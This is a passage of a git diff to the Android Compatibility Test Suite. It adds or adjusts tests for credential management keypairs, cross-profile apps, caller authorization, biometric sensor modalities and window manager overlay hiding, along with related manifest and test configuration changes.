+ assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, 0)).isTrue();
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Install keypair as credential management app
+ mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+ } finally {
+ // Remove keypair as credential management app
+ assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Generate keypair as credential management app
+ AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+ buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+ /* idAttestationFlags = */ 0);
+
+ assertThat(generated).isNotNull();
+ verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Generate keypair and aet keypair certificate as credential management app
+ KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+ KeyProperties.DIGEST_SHA256).build();
+ AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+ List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+ mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+ // Make sure certificates can be retrieved from KeyChain
+ Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+ assertThat(generated).isNotNull();
+ assertThat(fetchedCerts).isNotNull();
+ assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+ assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Install keypair as credential management app
+ mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+ KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+ ActivityContext.runWithContext((activity) ->
+ KeyChain.choosePrivateKeyAlias(activity, callback,
+ /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
+ );
+
+ assertThat(callback.await()).isEqualTo(ALIAS);
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
+ // these boilerplate classes
+ private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ android.security.KeyChainAliasCallback {
+ @Override
+ public void alias(final String chosenAlias) {
+ callbackTriggered(chosenAlias);
+ }
+ }
+
+ // TODO (b/174677062): Move this into infrastructure
+ private void setCredentialManagementApp() throws Exception {
+ UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+ assertTrue("Unable to set credential management app",
+ KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+ AUTHENTICATION_POLICY));
+ } finally {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+ assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+ isCredentialManagementApp());
+ }
+
+ // TODO (b/174677062): Move this into infrastructure
+ private void removeCredentialManagementApp() throws Exception {
+ UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+ assertTrue("Unable to remove credential management app",
+ KeyChain.removeCredentialManagementApp(CONTEXT));
+ } finally {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ }
+
+ private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+ throws Exception {
+ String command = "appops set --user " + userId + " " + packageName + " " +
+ "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ }
+
+ void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+ throws Exception {
+ byte[] data = "hello".getBytes();
+ Signature verify = Signature.getInstance(algoIdentifier);
+ verify.initVerify(publicKey);
+ verify.update(data);
+ assertThat(verify.verify(signature)).isTrue();
+ }
+
+ private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+ verifySignature(algoIdentifier, keyPair.getPublic(),
+ signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+ }
+
+ private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+ byte[] data = "hello".getBytes();
+ Signature sign = Signature.getInstance(algoIdentifier);
+ sign.initSign(privateKey);
+ sign.update(data);
+ return sign.sign();
+ }
+
+ private static PrivateKey getPrivateKey(final byte[] key, String type) {
+ try {
+ return KeyFactory.getInstance(type).generatePrivate(
+ new PKCS8EncodedKeySpec(key));
+ } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+ throw new AssertionError("Unable to get certificate." + e);
+ }
+ }
+
+ private static Certificate getCertificate(byte[] cert) {
+ try {
+ return CertificateFactory.getInstance("X.509").generateCertificate(
+ new ByteArrayInputStream(cert));
+ } catch (CertificateException e) {
+ throw new AssertionError("Unable to get certificate." + e);
+ }
+ }
+
+ private boolean isCredentialManagementApp() {
+ AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+ return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+ Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+ }
+
+ private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+ return new KeyGenParameterSpec.Builder(
+ alias,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+ .setKeySize(2048)
+ .setDigests(KeyProperties.DIGEST_SHA256)
+ .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+ KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+ .setIsStrongBoxBacked(useStrongBox)
+ .build();
+ }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index 4f167d8..a80a32b 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -25,17 +25,17 @@
import static org.junit.Assert.assertEquals;
import static org.testng.Assert.assertThrows;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.uiautomator.UiDevice;
-
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.CrossProfileApps;
import android.os.UserHandle;
import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
@@ -72,6 +72,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -80,6 +81,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -98,6 +100,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -107,6 +110,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile(installTestApp = false)
+ @Postsubmit(reason="new test")
public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
@@ -139,6 +143,7 @@
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
@Ignore // TODO(scottjonathan): Replace use of UIAutomator
+ @Postsubmit(reason="new test")
public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
sCrossProfileApps.startMainActivity(
new ComponentName(sContext, MainActivity.class), sDeviceState.getWorkProfile());
@@ -161,6 +166,7 @@
}
@Test
+ @Postsubmit(reason="new test")
public void startMainActivity_activityNotExported_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.startMainActivity(
@@ -170,6 +176,7 @@
}
@Test
+ @Postsubmit(reason="new test")
public void startMainActivity_activityNotMain_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.startMainActivity(
@@ -180,6 +187,7 @@
@Test
@Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
+ @Postsubmit(reason="new test")
public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -188,6 +196,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void
startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -199,6 +208,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void
startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
@@ -223,6 +233,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -232,6 +243,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.getPrimaryUser());
@@ -260,6 +272,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
assertThat(sCrossProfileApps.getProfileSwitchingLabel(
sDeviceState.getWorkProfile())).isNotNull();
@@ -267,6 +280,7 @@
@Test
@RequireRunOnPrimaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getPrimaryUser());
@@ -276,6 +290,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
+ @Postsubmit(reason="new test")
public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
assertThrows(SecurityException.class, () -> {
sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getSecondaryUser());
@@ -304,6 +319,7 @@
@Test
@RequireRunOnPrimaryUser
@EnsureHasWorkProfile
+ @Postsubmit(reason="new test")
public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
sDeviceState.getWorkProfile())).isNotNull();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
new file mode 100644
index 0000000..dd1f81b
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.compatibility.common.util.enterprise.annotations.RequireFeatures;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that certain DevicePolicyManager APIs aren't available to non-owner apps and that they throw
+ * SecurityException when invoked by such apps. For most of the older APIs that accept an explicit
+ * ComponentName admin argument, this is tested in android.admin.cts.DevicePolicyManagerTest by
+ * passing an admin that is not owner, but for newer APIs authorization is done based on caller UID,
+ * so it is critical that the app is not owner. These APIs are tested here.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NegativeCallAuthorizationTest {
+ private static final String ALIAS = "some-alias";
+ private static final Context sContext = ApplicationProvider.getApplicationContext();
+ private static final DevicePolicyManager sDpm =
+ sContext.getSystemService(DevicePolicyManager.class);
+
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ @Test
+ @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+ public void testHasKeyPair_failIfNotOwner() {
+ assertThrows(SecurityException.class, () -> sDpm.hasKeyPair(ALIAS));
+ }
+
+ @Test
+ @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+ public void testGetKeyPairGrants_failIfNotOwner() {
+ assertThrows(SecurityException.class, () -> sDpm.getKeyPairGrants(ALIAS));
+ }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
index ddc79c1..49c5291 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
@@ -17,8 +17,8 @@
package android.server.biometrics;
import static android.os.PowerManager.FULL_WAKE_LOCK;
-import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
import static android.server.biometrics.SensorStates.SensorState;
import static android.server.biometrics.SensorStates.UserState;
@@ -59,6 +59,7 @@
import androidx.annotation.Nullable;
import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
import org.junit.After;
import org.junit.Before;
@@ -240,6 +241,20 @@
}
}
+ @Test
+ public void testPackageManagerAndDumpsysMatch() throws Exception {
+ final BiometricServiceState state = getCurrentState();
+
+ final PackageManager pm = mContext.getPackageManager();
+
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+ state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+ state.mSensorStates.containsModality(SensorStateProto.FACE));
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+ state.mSensorStates.containsModality(SensorStateProto.IRIS));
+ }
+
private void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
throws Exception {
Log.d(TAG, "Enrolling for sensor: " + sensorId);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
index e771192..6887744 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -43,10 +43,12 @@
public static class SensorState {
private final boolean mIsBusy;
+ private final int mModality;
@NonNull private final SparseArray<UserState> mUserStates;
- public SensorState(boolean isBusy, @NonNull SparseArray<UserState> userStates) {
+ public SensorState(boolean isBusy, int modality, @NonNull SparseArray<UserState> userStates) {
this.mIsBusy = isBusy;
+ this.mModality = modality;
this.mUserStates = userStates;
}
@@ -54,6 +56,10 @@
return mIsBusy;
}
+ public int getModality() {
+ return mModality;
+ }
+
@NonNull public SparseArray<UserState> getUserStates() {
return mUserStates;
}
@@ -77,7 +83,8 @@
userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
}
- final SensorState sensorState = new SensorState(sensorStateProto.isBusy, userStates);
+ final SensorState sensorState = new SensorState(sensorStateProto.isBusy,
+ sensorStateProto.modality, userStates);
sensorStates.put(sensorStateProto.sensorId, sensorState);
}
@@ -115,6 +122,15 @@
return true;
}
+ public boolean containsModality(int modality) {
+ for (int i = 0; i < sensorStates.size(); i++) {
+ if (sensorStates.valueAt(i).getModality() == modality) {
+ return true;
+ }
+ }
+ return false;
+ }
+
private SensorStates(@NonNull SparseArray<SensorState> sensorStates) {
this.sensorStates = sensorStates;
}
@@ -124,9 +140,9 @@
final StringBuilder sb = new StringBuilder();
for (int i = 0; i < sensorStates.size(); i++) {
sb.append("{SensorId: ").append(sensorStates.keyAt(i));
- sb.append(", Busy: ").append(sensorStates.get(i).isBusy());
+ sb.append(", Busy: ").append(sensorStates.valueAt(i).isBusy());
- final SparseArray<UserState> userStates = sensorStates.get(i).getUserStates();
+ final SparseArray<UserState> userStates = sensorStates.valueAt(i).getUserStates();
for (int j = 0; j < userStates.size(); j++) {
sb.append(", UserId: ").append(userStates.keyAt(j));
sb.append(", NumEnrolled: ").append(userStates.get(j).numEnrolled);
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
index fb442ce..adac3b6 100644
--- a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -48,7 +48,7 @@
public void setUp() {
final Context context = InstrumentationRegistry.getContext();
mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
- new Intent(), 0 /* flags */);
+ new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
}
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index f530740..8c5af8c 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -61,6 +61,7 @@
"metrics-helper-lib",
"truth-prebuilt",
"cts-wm-overlayapp-base",
+ "cts-wm-shared",
],
test_suites: [
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ef3c415..4a59813 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -158,6 +158,10 @@
<activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
android:theme="@style/window_activity_transitions"/>
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForwardResultActivity"/>
+
+ <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TrampolineActivity"/>
+
<activity android:name="android.server.wm.MultiDisplayActivityLaunchTests$ImmediateLaunchTestActivity"
android:allowEmbedded="true"/>
@@ -172,6 +176,16 @@
android:resizeableActivity="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+ android:process=":swa"
+ android:exported="true"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
+ android:process=":iswa"
+ android:exported="true"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+ android:process=":saoa"
+ android:exported="true"/>
+
<activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
<activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity"/>
@@ -421,10 +435,6 @@
<activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
android:exported="true"/>
-
- <activity android:name="android.server.wm.WindowUntrustedTouchTest$OverlayActivity"
- android:exported="true"
- android:theme="@android:style/Theme.Translucent"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 247a7ce..15e9af1 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -19,7 +19,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true"/>
<option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
@@ -56,10 +55,19 @@
value="settings put secure android.car.ENABLE_INITIAL_NOTICE_SCREEN_TO_USER 1" />
</target_preparer>
+ <!-- Enabling change id allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.second" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app27" />
+
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.second" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app27" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest">
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index a707807..d232d33 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -25,8 +25,9 @@
<uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+ <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
- <application>
+ <application android:debuggable="true">
<activity android:name=".TestActivity"
android:resizeableActivity="true"
android:supportsPictureInPicture="true"
@@ -547,6 +548,7 @@
<activity android:name=".PresentationActivity"
android:launchMode="singleTop"
android:exported="true"/>
+ <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
<service android:name=".OverlayTestService"
android:exported="true" />
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
index 959c922..3e98553 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
@@ -26,7 +26,7 @@
import android.content.Intent;
import android.graphics.Rect;
-public class AlwaysFocusablePipActivity extends Activity {
+public class AlwaysFocusablePipActivity extends PipActivity {
static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
launchAlwaysFocusablePipActivity(caller, newTask, false /* multiTask */);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 529b22a..86ffdc0 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -52,6 +52,8 @@
component("FontScaleNoRelaunchActivity");
public static final ComponentName FREEFORM_ACTIVITY = component("FreeformActivity");
public static final ComponentName HOST_ACTIVITY = component("HostActivity");
+ public static final ComponentName HIDE_OVERLAY_WINDOWS_ACTIVITY =
+ component("HideOverlayWindowsActivity");
public static final ComponentName KEYGUARD_LOCK_ACTIVITY = component("KeyguardLockActivity");
public static final ComponentName LANDSCAPE_ORIENTATION_ACTIVITY =
component("LandscapeOrientationActivity");
@@ -425,6 +427,9 @@
"enter_pip_on_pip_requested";
// Sets auto PIP allowed on the activity picture-in-picture params.
public static final String EXTRA_ALLOW_AUTO_PIP = "enter_pip_auto_pip_allowed";
+ // Sets seamless resize enabled on the activity picture-in-picture params.
+ public static final String EXTRA_IS_SEAMLESS_RESIZE_ENABLED =
+ "enter_pip_is_seamless_resize_enabled";
// Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
// Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -529,6 +534,12 @@
public static final int ID_OVERLAY_TEST_SERVICE = 1;
}
+ public static class HideOverlayWindowsActivity {
+ public static final String ACTION = "hide_action";
+ public static final String PONG = "pong_action";
+ public static final String SHOULD_HIDE = "should_hide";
+ }
+
private static ComponentName component(String className) {
return component(Components.class, className);
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
new file mode 100644
index 0000000..4014999
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.SHOULD_HIDE;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+/**
+ * Helper activity for HideApplicationOverlaysTest. Communication is handled through a pair of
+ * broadcast receivers, this activity is receiving commands from the tests and emits a pong
+ * message when the commands have been executed.
+ */
+public class HideOverlayWindowsActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION));
+ }
+
